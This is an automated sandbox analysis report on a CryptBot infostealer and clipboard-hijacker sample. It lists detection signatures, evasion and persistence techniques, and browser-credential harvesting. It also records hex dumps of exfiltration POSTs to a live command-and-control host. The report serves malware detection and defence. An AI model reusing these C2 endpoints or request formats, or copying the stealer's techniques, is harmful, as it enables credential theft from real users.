Windows Analysis Report
FMuiLqyqaT.exe

Overview

General Information

Sample name: FMuiLqyqaT.exe
renamed because original name is a hash value
Original sample name: c4463b67fab75ee47d3467eb2d8d20a8.exe
Analysis ID: 1580273
MD5: c4463b67fab75ee47d3467eb2d8d20a8
SHA1: 6b76ea7eff7f3653c549d98b06e647f201b5f945
SHA256: b797b05e2549e1f3138dc93e36c2081eb48d662316e31825212648d7e0542ed3
Tags: exeuser-abuse_ch
Infos:

Detection

Clipboard Hijacker, Cryptbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Attempt to bypass Chrome Application-Bound Encryption
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Clipboard Hijacker
Yara detected Cryptbot
AI detected suspicious sample
Drops large PE files
Found evasive API chain (may stop execution after checking mutex)
Found stalling execution ending in API Sleep call
Hides threads from debuggers
Leaks process information
Machine Learning detection for sample
PE file contains section with special chars
Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Detected potential crypto function
Drops PE files
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Name Description Attribution Blogpost URLs Link
CryptBot A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: FMuiLqyqaT.exe Avira: detected
Multi AV Scanner detection for submitted file
Source: FMuiLqyqaT.exe Virustotal: Detection: 51% Perma Link
Source: FMuiLqyqaT.exe ReversingLabs: Detection: 55%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: FMuiLqyqaT.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00D715B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 9_2_00D715B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6B14B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 9_2_6C6B14B0
Source: FMuiLqyqaT.exe, 00000000.00000003.1602871674.0000000007180000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_9f85f2b2-7
Uses 32bit PE files
Source: FMuiLqyqaT.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\.ms-ad\ Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\ Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\ Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Local\Google\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea ecx, dword ptr [esp+04h] 9_2_00D781E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C6D0860
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C6DA970
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C77C920
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C6DA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C6DA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C78F960h 9_2_6C6CEB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C746BF0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 9_2_6C7584A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C6DC510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C6DA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C6DA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C6DA580
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C6DE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C6DE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C6D0740
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, ecx 9_2_6C750730
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+04h] 9_2_6C70A1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C6D0260
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [6C78D014h] 9_2_6C784360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C727D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 9_2_6C723840
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+04h] 9_2_6C6DD974
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C6EBBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C6EBBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C72B4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C6DD504
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+0Ch] 9_2_6C6DD674
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 9_2_6C729600
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C78DFF4h 9_2_6C723690
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+08h] 9_2_6C6DD7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 9_2_6C753140
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C72B1F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C6CB1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C6DD2A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 9_2_6C7473A0
Source: chrome.exe Memory has grown: Private usage: 12MB later: 29MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.8:49726 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.8:49711 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.8:49712 -> 185.121.15.192:80
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 499111Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 35 30 32 35 37 34 38 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic HTTP traffic detected: GET /TQIuuaqjNpwYjtUvFojm1734579850?argument=KBSWqMcQ8oiAutOk1735025753 HTTP/1.1Host: home.twentytk20ht.topAccept: */*
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------CyVBfd3Ltk2NqJ4xwNRlNNData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 43 79 56 42 66 64 33 4c 74 6b 32 4e 71 4a 34 78 77 4e 52 6c 4e 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6f 6e 6f 64 61 76 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 5a 82 9c fe 8b 59 8e 93 10 82 ba 1a 3e 0c 94 a2 f4 9f f9 01 12 59 48 c6 d5 45 e0 f3 57 1e 75 3f 02 cb 6c 3b fd 5a 62 d1 43 a9 53 c2 9f f0 16 8b 3a ed 62 d1 b9 8d 47 a9 f4 80 66 86 c8 b0 ad da 96 1f db c5 72 33 18 ed 6c 64 0c 1a ac 2b 85 f5 de 0d 45 d6 65 e9 7f 97 5c ba bd 19 7c 51 f8 86 00 1d 74 d7 66 50 67 07 d6 b8 63 44 ad 39 c2 e1 f0 62 8b 90 8c 6f e8 d2 8c c5 87 50 6a c4 13 43 d0 95 1e e1 18 68 94 b0 92 17 6b 55 1c 6d c2 fa 38 c4 5d c6 01 f6 17 e4 16 11 87 de 2b 7c bd cf 0b f4 f4 c7 ae cc 02 1e e3 d5 57 38 00 7f 8b 56 a9 ab c8 73 3a 2c c4 2d 21 68 b8 53 96 84 a4 34 76 e2 a7 1b 6c ba bf cf b2 88 d5 66 6c ef 18 0f 25 26 6b ef e0 77 ee 2d f5 6c 90 c9 71 57 44 a6 94 c3 c8 f3 cc 59 3a 31 48 f1 7c 73 3e c8 35 79 29 1d 3c 92 1a 7a e8 49 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 43 79 56 42 66 64 33 4c 74 6b 32 4e 71 4a 34 78 77 4e 52 6c 4e 4e 2d 2d 0d 0a Data Ascii: --------------------------CyVBfd3Ltk2NqJ4xwNRlNNContent-Disposition: form-data; name="file"; filename="Bonodav.bin"Content-Type: application/octet-streamZY>YHEWu?l;ZbCS:bGfr3ld+Ee\|QtfPgcD9boPjChkUm8]+|W8Vs:,-!hS4vlfl%&kw-lqWDY:1H|s>5y)<zI--------------------------CyVBfd3Ltk2NqJ4xwNRlNN--
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 76333Content-Type: multipart/form-data; boundary=------------------------Cedpp5lqQwvED3JLE8uQyvData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 43 65 64 70 70 35 6c 71 51 77 76 45 44 33 4a 4c 45 38 75 51 79 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 75 77 65 6d 69 71 65 78 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 76 94 c5 e7 77 34 9a 9e 37 9c e7 a8 91 82 c4 25 6a 22 17 d5 49 bc b9 92 b6 2a 42 70 a6 5b a6 ac 8e 67 18 b8 7b 83 56 5e c6 9c ca 72 7b b1 68 e8 c3 94 ab 47 58 f7 54 0a c6 d8 08 b8 1a c5 25 cf 41 b8 72 2c 44 af 37 44 ad 3d 1b a9 33 6b bc 4b 37 68 4a c3 7f 50 68 4f ba cc 59 6b 05 3c 83 2f ac 6e 7a 35 98 53 fe 68 cb 55 85 99 db fb f0 55 18 98 eb ec db 6f a5 ed 82 6c 59 90 07 87 9d 86 2e f9 5b 29 89 43 32 f0 42 02 e1 73 00 6d 08 02 2c c3 45 70 c9 2a e9 06 09 a7 c8 48 71 4c 27 0a ec 6e 0c 30 f5 ae 8a 82 69 12 f8 ad a6 1c 28 8f 69 28 85 55 39 8a b3 22 9e db e9 32 fc b8 96 69 b0 76 30 e0 b3 c1 ba 79 0b c8 53 89 ab fe 50 35 1c b0 8f 72 20 56 4f 31 7f c4 40 f5 6a 3d 46 be bb 2e e7 ad 92 ce ac 5e a0 9d 55 a5 75 f5 84 68 9a 50 e8 a1 75 d8 83 17 19 9f dd 10 b3 5d 4a bd be bd d2 27 1e 8a d4 81 06 ae 94 13 f4 b6 b6 d0 18 b2 4f 1a ef 9c 1b db 38 54 c6 e7 a6 11 d1 d6 00 79 49 67 4b e8 9e f2 8a 87 81 9d e9 b5 b8 e4 64 a5 0e 7f 7c cb bb 72 96 7e 49 a8 ca ba 80 df 39 0a ee 13 4c 4b 3c 67 30 a8 96 f4 6b 72 f3 21 b5 38 36 54 04 d6 21 18 5c 78 8a d9 6e 33 4a 04 8e 2d 41 85 9f 8e 81 b2 af a0 d5 10 f3 27 f1 0d 57 99 e4 63 6b f5 46 a7 68 e4 df f4 43 65 2e b2 1a a0 47 44 ed d3 3d b1 51 97 4a 57 82 e6 33 5f 43 b2 13 fd 02 51 a1 56 fd d1 a0 7b 23 e5 57 c6 bc be 69 43 dd a7 98 06 d7 58 94 85 de 49 df 7d 34 3a 69 97 54 ba ce 1b e0 fa b3 82 48 f6 8e 39 bc 81 8f e9 82 2c 05 42 de 43 b8 bb 30 3d 3d 63 23 6a db 03 4e b5 16 fb 33 41 be f3 25 38 8c 79 6b fe 41 4f 80 aa c6 66 c9 df f9 7f e9 1b 20 97 00 38 5a 20 41 c1 e3 d8 7f 4b 37 68 ff 2c 95 13 59 3f 62 ba 9e ee 74 a4 73 9e f5 11 d8 73 d1 a8 ab 28 28 49 fa 0c 54 d3 11 45 58 a7 0b b8 c7 36 50 fb 25 8f ba 6c 7f fb f8 5f 21 7d 14 35 d9 39 0b 1f 21 ca f5 a0 15 39 be ab 4b 40 e3 be 82 0e 4b 33 d2 e2 05 11 cb a5 6c be fc 57 f4 00 29 9f b3 90 8c 8d e8 0b a0 53 c1 bb a7 33 2c d5 33 ac 6c bc 94 7a f9 d4 7d 56 0e f9 88 9c 25 c4 19 9e 07 fd e0 34 c3 da 08 80 6e 27 72 48 8f d1 cd 2e 5a f7 d5 ff 37 cd 22 30 6e 9c 35 06 e7 7e 64 f7 d0 aa 0b 22 9d 5e 63 c6 4a a7 d6 d5 35 82 e9 f3 ef 8b 66 7b 18 02 5c ed 71 28 49 1c 81 da ee 23 7c 00 b2 ba 53 98 53 ad ec 9a c0 3d bc 0a bd c0 19 ff fb 3d 75 60 9c 0d 00 8b 21 27 0f 9b b6 80 09 49 71 ac 69 4a f3 5b 81 eb ce 9a be 72 74 d6 0b 66 90 65 0e f4 9c a0 b2 ef 05 d5 b8 9a dc 19 46 b3 67 e5 fb 1e be 83 bb cc 84 dd d5 54 90 ff 60 b5 36 f5 4c
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 30351Content-Type: multipart/form-data; boundary=------------------------DrO4heGMTTpSF9sYxEz3KKData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 44 72 4f 34 68 65 47 4d 54 54 70 53 46 39 73 59 78 45 7a 33 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 75 67 65 63 75 76 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a cc d9 38 86 b8 2f 83 fb 14 5e 49 a8 43 73 3a 55 f9 d7 b5 6f 42 c1 4e 2c eb 89 c7 e0 62 a5 8c e3 ad 60 c4 34 d8 fb a4 b0 14 10 ca d8 e2 b2 0b 57 6a 58 58 fd e5 10 4f 2c 8c 0a c0 88 b9 35 64 c5 68 b4 39 d9 92 16 49 a2 39 6d 27 c5 93 91 b2 0b 76 7e 9f ce 5c 38 5e e1 c9 ac 78 5f 59 1a 4e 0f 60 da 34 48 1b 95 03 9a 61 2c b1 b8 3a 09 29 06 f4 43 32 ca 57 0f 9c 1a 41 fb 6a 46 26 4f 15 b8 8b 0e 1c 99 9d b2 8b 53 a4 45 9a 93 7a 88 bc 8d 10 f9 ca e8 e8 cd 96 af ef 3c ee 98 bb 03 c0 b9 2f 90 ea ea 80 83 e2 75 04 e2 10 4f 76 ef 63 7c b9 fd 71 c5 a9 94 3e 36 2b a3 0f e3 2c c5 29 cf 0b 75 96 30 4c f3 d2 b3 b0 89 29 34 98 4e 95 d0 a5 85 d3 25 18 de e4 b2 7a 2c db 14 d0 80 05 43 e8 4b 3d 6b 94 4c fd 60 ae e8 25 81 c1 74 bb d5 5c 2f 2b 2f 67 d8 b4 6d 57 a1 8e 4e 82 e0 54 9d 3a 99 37 55 79 b5 c6 cc b4 27 e4 8f de e8 76 f4 59 52 80 74 43 2d 40 1e e5 e6 a7 27 9f 77 9d 2a d5 fa 32 b5 64 aa ad 47 70 f7 50 8d b7 85 9a 49 ae 80 ed 80 cc 79 c3 1c 0e 23 b9 6c 7c 84 9f ca 96 e3 e1 0a a3 f0 cd 34 1b f2 76 e9 6f 1a d3 18 16 5e 46 99 ea 05 8f 05 f9 4d c5 14 0a 83 a3 e4 81 5f 77 32 83 84 e4 a2 08 e1 6a 51 84 01 f6 41 a2 3a 44 bf 3c 1a fb 40 62 fa cd 8f d4 98 c9 51 19 e1 79 98 e2 54 01 b1 e3 84 75 f5 92 12 88 3f bc dc 07 a9 3e ae c1 4a 75 92 b3 17 82 6f 6c ce 5f 1a 66 c5 23 23 8d 5c 2c 57 d3 29 c3 d2 28 3f 09 f2 bb 7d b0 86 b4 c8 d0 51 2f 64 62 50 c3 d2 f9 7f b7 f2 85 6e e5 7a 39 07 b8 fb 8c cf 35 82 f0 ad 09 e9 87 ab 1f 6f 81 5a c5 df 62 fa 9c 8d 4b c4 3b a3 fa b4 ce 36 7d ee e4 9b 5c fc 1f 3e 8f d7 63 b1 f4 b1 45 79 7a f9 22 36 55 e6 56 d8 51 b9 bc 2d 1a 7d 65 83 48 af 01 83 e0 00 06 3e 48 95 ca 7b ac 6e 01 fc 87 7c 26 c4 af cc fe 9d 36 50 69 47 c8 52 81 88 b9 d0 c5 c5 1c c8 64 d3 cf 05 3c 7b 9a e2 1e f2 31 82 53 ea 83 2a fc 89 69 40 d7 a7 23 24 05 f1 1b d5 56 97 50 0e cf 27 1e e9 0b cb 00 c5 04 5c ca 5c 6b 05 23 37 82 f8 59 8f 38 5d c4 13 e1 90 35 18 02 a1 c8 24 b9 e2 79 1d d7 0e d9 09 29 ed 0b e5 9d 2e 75 dd ce 91 0d 5c 00 48 90 10 3c 57 cb fe 8a 67 db 51 03 9e 2a eb be e5 4a cf cd 1e 5f 42 0f bb fb 3d d9 91 b3 63 da 36 4d 66 43 8a 78 6c fd 14 41 33 c0 7c 13 9b b4 56 da 0c cc 81 ed 96 80 3b ce 99 82 6a 0c ac 02 a4 92 07 62 e3 20 05 41 7d b2 00 d0 0b aa 37 ca 78 39 0c 43 fa 4f 47 5d de 43 af e9 9f 25 1f 2c 6f 4b 7d cf f3 f2 2d a9 9e b5 c7 ad 4c 55 0b 7f c7 02 ac 33 af 35 db a3 1c 81 e7 7d 7b 4c cb e8 98 e3 f3 ef
Source: global traffic HTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 4b 42 53 57 71 4d 63 51 38 6f 69 41 75 74 4f 6b 31 37 33 35 30 32 35 37 35 33 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "KBSWqMcQ8oiAutOk1735025753", "data": "Done2" }
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.121.15.192 185.121.15.192
Source: Joe Sandbox View IP Address: 34.226.108.155 34.226.108.155
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: GET /TQIuuaqjNpwYjtUvFojm1734579850?argument=KBSWqMcQ8oiAutOk1735025753 HTTP/1.1Host: home.twentytk20ht.topAccept: */*
Source: chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2004693515.00001A300284C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000002.2030745390.00001A3002884000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: /www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000002.2028410290.00001A300237C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: @https://www.youtube.coP equals www.youtube.com (Youtube)
